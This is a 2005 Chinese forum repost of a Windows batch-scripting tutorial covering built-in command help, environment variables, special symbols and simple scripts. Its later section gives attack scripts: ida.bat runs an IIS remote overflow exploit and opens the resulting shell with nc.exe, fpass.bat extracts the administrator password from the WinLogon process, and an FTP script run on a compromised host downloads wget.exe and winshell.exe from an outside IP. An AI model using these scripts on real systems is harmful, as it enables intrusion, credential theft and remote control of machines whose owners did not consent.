ehxz 发表于 2005-9-5 08:56:37

[转帖]批处理BAT加强说明

文章结构 <BR>1. 所有内置命令的帮助信息 <BR>2. 环境变量的概念 <BR>3. 内置的特殊符号(实际使用中间注意避开) <BR>4. 简单批处理文件概念 <BR>5. 附件1 tmp.txt <BR>6. 附件2 sample.bat <BR><BR>###################################################################### <BR>1. 所有内置命令的帮助信息 <BR>###################################################################### <BR>ver <BR>cmd /? <BR>set /? <BR>rem /? <BR>if /? <BR>echo /? <BR>goto /? <BR>for /? <BR>shift /? <BR>call /? <BR>其他需要的常用命令 <BR>type /? <BR>find /? <BR>findstr /? <BR>copy /? <BR>______________________________________________________________________ <BR>下面将所有上面的帮助输出到一个文件 <BR>echo ver &gt;tmp.txt <BR>ver &gt;&gt;tmp.txt <BR>echo cmd /? &gt;&gt;tmp.txt <BR>cmd /? &gt;&gt;tmp.txt <BR>echo rem /? &gt;&gt;tmp.txt <BR>rem /? &gt;&gt;tmp.txt <BR>echo if /? &gt;&gt;tmp.txt <BR>if /? &gt;&gt;tmp.txt <BR>echo goto /? &gt;&gt;tmp.txt <BR>goto /? &gt;&gt;tmp.txt <BR>echo for /? &gt;&gt;tmp.txt <BR>for /? &gt;&gt;tmp.txt <BR>echo shift /? &gt;&gt;tmp.txt <BR>shift /? &gt;&gt;tmp.txt <BR>echo call /? &gt;&gt;tmp.txt <BR>call /? &gt;&gt;tmp.txt <BR>echo type /? &gt;&gt;tmp.txt <BR>type /? &gt;&gt;tmp.txt <BR>echo find /? &gt;&gt;tmp.txt <BR>find /? &gt;&gt;tmp.txt <BR>echo findstr /? &gt;&gt;tmp.txt <BR>findstr /? &gt;&gt;tmp.txt <BR>echo copy /? &gt;&gt;tmp.txt <BR>copy /? &gt;&gt;tmp.txt <BR>type tmp.txt <BR>______________________________________________________ <BR><BR>###################################################################### <BR>2. 环境变量的概念 <BR>###################################################################### <BR>_____________________________________________________________________________ <BR>C:\Program Files&gt;set <BR>ALLUSERSPROFILE=C:\document. and Settings\All Users <BR>CommonProgramFiles=C:\Program Files\Common Files <BR>COMPUTERNAME=FIRST <BR>ComSpec=C:\WINNT\system32\cmd.exe <BR>NUMBER_OF_PROCESSORS=1 <BR>OS=Windows_NT <BR>Os2LibPath=C:\WINNT\system32\os2\dll; <BR>Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM <BR>PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH <BR>PROCESSOR_ARCHITECTURE=x86 <BR>PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel <BR>PROCESSOR_LEVEL=6 <BR>PROCESSOR_REVISION=0605 <BR>ProgramFiles=C:\Program Files <BR>PROMPT=$P$G <BR>SystemDrive=C: <BR>SystemRoot=C:\WINNT <BR>TEMP=C:\WINNT\TEMP <BR>TMP=C:\WINNT\TEMP <BR>USERPROFILE=C:\document. and Settings\Default User <BR>windir=C:\WINNT <BR>_____________________________________________________________________________ <BR><BR>path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到 <BR>%windir%\system32\. 这个目录里面. 一般就可以自动搜索到. <BR>语法: copy mychenxu.exe %windir%\system32\. <BR>使用点(.) 便于一目了然 <BR>对环境变量的引用使用(英文模式,半角)双引号 <BR>%windir% 变量 <BR>%%windir%% 二次变量引用. <BR>我们常用的还有 <BR>%temp% 临时文件目录 <BR>%windir% 系统目录 <BR>%errorlevel% 退出代码 <BR><BR>输出文件到临时文件目录里面.这样便于当前目录整洁. <BR><BR>对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作 <BR>C:\&gt;dir p* <BR>C:\ 的目录 <BR>2000-09-02 11:47 2,164 PDOS.DEF <BR>1999-01-03 00:47 &lt;DIR&gt; Program Files <BR>1 个文件 2,164 字节 <BR>1 个目录 1,505,997,824 可用字节 <BR><BR>C:\&gt;cd pro* <BR>C:\Program Files&gt; <BR><BR>C:\&gt; <BR>C:\&gt;cd "Program Files" <BR>C:\Program Files&gt; <BR><BR><BR>###################################################################### <BR>3. 内置的特殊符号(实际使用中间注意避开) <BR>###################################################################### <BR>微软里面内置了下列字符不能够在创建的文件名中间使用 <BR>con nul aux \ / │ ││ &amp;&amp; ^ &gt; &lt; * <BR><BR>You can use most characters as variable values, including white space. If you use the special characters &lt;, &gt;, │, &amp;, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: <BR>(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了) <BR>To create the variable value new&amp;name, type: <BR>set varname=new^&amp;name <BR><BR>To create the variable value "new&amp;name", type: <BR>set varname="new&amp;name" <BR><BR>The ampersand (&amp;), pipe (│), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments. <BR><BR>find "Pacific Rim" &lt; trade.txt &gt; nwtrade.txt <BR>IF EXIST filename. (del filename.) ELSE echo filename. missing <BR><BR>&gt; 创建一个文件 <BR>&gt;&gt; 追加到一个文件后面 <BR>@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示 <BR>^ 对特殊符号( &gt; &lt; &amp;)的前导字符. 第一个只是显示aaa 第二个输出文件bbb <BR>echo 123456 ^&gt; aaa <BR>echo 1231231 &gt; bbb <BR>() 包含命令 <BR>(echo aa &amp; echo bb) <BR>, 和空格一样的缺省分隔符号. <BR>; 注释,表示后面为注释 <BR>: 标号作用 <BR>│ 管道操作 <BR>&amp; Usage:第一条命令 &amp; 第二条命令 [&amp; 第三条命令...] <BR>用这种方法可以同时执行多条命令,而不管命令是否执行成功 <BR>dir c:\*.exe &amp; dir d:\*.exe &amp; dir e:\*.exe <BR>&amp;&amp; Usage:第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...] <BR>当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令; <BR>││ Usage:第一条命令 ││ 第二条命令 [││ 第三条命令...] <BR>当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令; <BR><BR>常用语法格式 <BR>IF ERRORLEVEL number command para1 para2 <BR>IF string1==string2 command para1 para2 <BR>IF EXIST filename command para1 para2 <BR><BR>IF EXIST filename command para1 para2 <BR>IF NOT EXIST filename command para1 para2 <BR>IF "%1"=="" goto END <BR>IF "%1"=="net" goto NET <BR>IF NOT "%2"=="net" goto OTHER <BR>IF ERRORLEVEL 1 command para1 para2 <BR>IF NOT ERRORLEVEL 1 command para1 para2 <BR>FOR /L %%i IN (start,step,end) DO command %%i <BR>FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k <BR>按照字母顺序 ijklmnopq依次取参数. <BR>eol=c - 指一个行注释字符的结尾(就一个) <BR>skip=n - 指在文件开始时忽略的行数。 <BR>delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 <BR><BR><BR>###################################################################### <BR>4. 简单批处理文件概念 <BR>###################################################################### <BR><BR>echo This is test &gt; a.txt <BR>type a.txt <BR>echo This is test 11111 &gt;&gt; a.txt <BR>type a.txt <BR>echo This is test 22222 &gt; a.txt <BR>type a.txt <BR>第二个echo是追加 <BR>第三个echo将清空a.txt 重新创建 a.txt <BR><BR>netstat -n │ find "3389" <BR>这个将要列出所有连接3389的用户的ip. <BR><BR>________________test.bat___________________________________________________ <BR>@echo please care <BR>echo plese care 1111 <BR>echo plese care 2222 <BR>echo plese care 3333 <BR>@echo please care <BR>@echo plese care 1111 <BR>@echo plese care 2222 <BR>@echo plese care 3333 <BR>rem 不显示注释语句,本行显示 <BR>@rem 不显示注释语句,本行不显示 <BR>@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe) <BR>@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe) <BR>___________________________________________________________________________ <BR><BR>下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的. <BR><BR>___________________ida.bat_________________________________________________ <BR>@rem ver 1.0 <BR>@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe" <BR>@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe" <BR><BR>@if "%1" =="" goto USAGE <BR>@if NOT "%2" =="" goto SP2 <BR><BR>:start <BR>@echo Now start ... <BR>@ping %1 <BR>@echo chinese win2k:1 sp1:2 sp2:3 <BR>idahack.exe %1 80 1 99 &gt;%temp%\_tmp <BR>@echo "prog exit code [%errorlevel%] idahack.exe" <BR>@type %temp%\_tmp <BR>@find "good luck" %temp%\_tmp <BR>@echo "prog exit code [%errorlevel%] find " <BR>@if NOT errorlevel 1 nc.exe %1 99 <BR>@goto END <BR><BR>:SP2 <BR>@idahack.exe %1 80 %2 99 %temp%\_tmp <BR>@type %temp%\_tmp <BR>@find "good luck" %temp%\_tmp <BR>@if NOT errorlevel 1 nc.exe %1 99 <BR>@goto END <BR><BR>:USAGE <BR>@echo Example: ida.bat IP <BR>@echo Example: ida.bat IP (2,3) <BR><BR>:END <BR>_____________________ida.bat__END_________________________________ <BR><BR>下面我们再来第二个文件.就是得到administrator的口令. <BR>大多数人说得不到.其实是自己的没有输入正确的信息. <BR><BR>___________________________fpass.bat____________________________________________ <BR>@rem ver 1.0 <BR>@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe" <BR>@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe" <BR><BR>@echo start.... <BR>@echo ____________________________________ <BR>@if "%1"=="" goto USAGE <BR>@findpass.exe %1 %2 %3 &gt;&gt; %temp%\_findpass.txt <BR>@echo "prog exit code [%errorlevel%] findpass.exe" <BR>@type %temp%\_findpass.txt <BR>@echo ________________________________Here__pass★★★★★★★★ <BR>@ipconfig /all &gt;&gt;%temp%\_findpass.txt <BR>@goto END <BR><BR>:USAGE <BR>@pulist.exe &gt;%temp%\_pass.txt <BR>@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt <BR>@echo "Example: fpass.bat %1 %2 %3 %4 !!!" <BR>@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon" <BR><BR>:END <BR>@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator " <BR>@echo " fpass.bat end [%errorlevel%] !" <BR>_________________fpass.bat___END___________________________________________________________ <BR><BR>还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win) <BR>依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!! <BR><BR>echo open 210.64.x.4 3396&gt;w <BR>echo read&gt;&gt;w <BR>echo read&gt;&gt;w <BR>echo cd winnt&gt;&gt;w <BR>echo binary&gt;&gt;w <BR>echo pwd &gt;&gt;w <BR>echo get wget.exe &gt;&gt;w <BR>echo get winshell.exe &gt;&gt;w <BR>echo get any.exe &gt;&gt;w <BR>echo quit &gt;&gt;w <BR>ftp -s:w
页: [1]
查看完整版本: [转帖]批处理BAT加强说明